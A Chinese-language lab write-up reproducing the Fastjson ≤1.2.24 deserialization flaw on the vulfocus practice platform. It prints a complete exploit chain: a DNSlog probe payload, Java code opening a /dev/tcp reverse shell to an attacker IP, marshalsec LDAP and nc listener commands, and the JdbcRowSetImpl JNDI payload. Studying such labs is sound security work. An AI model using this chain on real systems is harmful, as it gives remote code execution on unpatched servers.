vulfocus/fastjson-cnvd_2017_02833复现

漏洞概述

Fastjson 是阿里巴巴开发的一个高性能的 Java 库，用于将 Java 对象转换成 JSON 格式（序列化），以及将 JSON 字符串转换回 Java 对象（反序列化）。

fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。

影响范围

fastjson<=1.2.24

复现流程

本次复现是在vulfocus平台，如有侵权，请及时联系删除

复现配置：
win11，阿里云ECS服务器，靶机vulfocus
访问目的地址：

这里通过报错验证存在fastjson漏洞

第一步：验证漏洞

下面是正常回显

修改成post提交，请求体内加一个‘{’使其报错

出现此标志证明存在fastjson漏洞

第二步：利用dnslog回显证明

先将Content-Type: application/x-www-form-urlencoded修改成json格式：application/json
在加上请求体
{“a”:{“@type”:“java.net.Inet4Address”,“val”:“xxxxx.dnslog.cn”}}

指定反序列化的类型，由于靶机服务器不校验@type，所以造成了漏洞
这里生成一个dnslog地址

请求数据包如下：成功证明存在漏洞

第三步：拿到shell，获取flag

这里因为必须要反弹shell，我们必须要有一个公网ip，所以这里我用了云服务器，
先准备一个Exploit.java文件，内容如下

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;public class Exploit{public Exploit() throws Exception {Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});InputStream is = p.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(is));String line;while((line = reader.readLine()) != null) {System.out.println(line);}p.waitFor();is.close();reader.close();p.destroy();}public static void main(String[] args) throws Exception {}
}

执行javac Exploit.java编译，生成java.class

我们还需要另外一个jar包文件：marshalsec-0.0.3-SNAPSHOT-all.jar
这个文件可以从https://gitee.com/gscsd5/marshalsec-jar/blob/master/marshalsec-0.0.3-SNAPSHOT-all.jar下载
将生成的Exploit.class文件和marshalsec-0.0.3-SNAPSHOT-all.jar统一放到一个目录下
我这里是放到云服务器的/fastjson1.2.47目录

接下来开启三个监听窗口（在三个窗口打开）
第一个，使用python搭建一个临时的web服务：python3 -m SimpleHTTPServer 1111
可能有人会报错，可以换用python3 -m http.server 1111
PS:此步是为了接收LDAP服务重定向请求，需要在payload的目录下(/fastjson1.2.47)开启此web服务，这样才可以访问到payload文件

第二个，服务器使用marshalsec开启LDAP服务监听：java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xxxxxx:1111/#Exploit 9999 这里的xxxx是自己的公网ip
Ps：使用marshalsec工具快捷的开启LDAP服务，借助LDAP服务将LDAP reference result 重定向到web服务器
（ps:这里还可以用RMI服务监听，最终请求包的payload也要稍微修改下）
第三个，nc监听：nc -lvp 1888
Ps：这是最终得到shell的窗口

本以为这样就可以成功拿到shell了，发现防火墙入方向的端口没打开，导致一直连不上
如果不知道开哪个端口，可以将所有端口先都打开
发送payload：

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x:9999/Exploit","autoCommit":true}}

这里的xxx也是自己服务器的公网ip
请求数据包如下
回到监听窗口处，发现拿到shell

成功获取到flag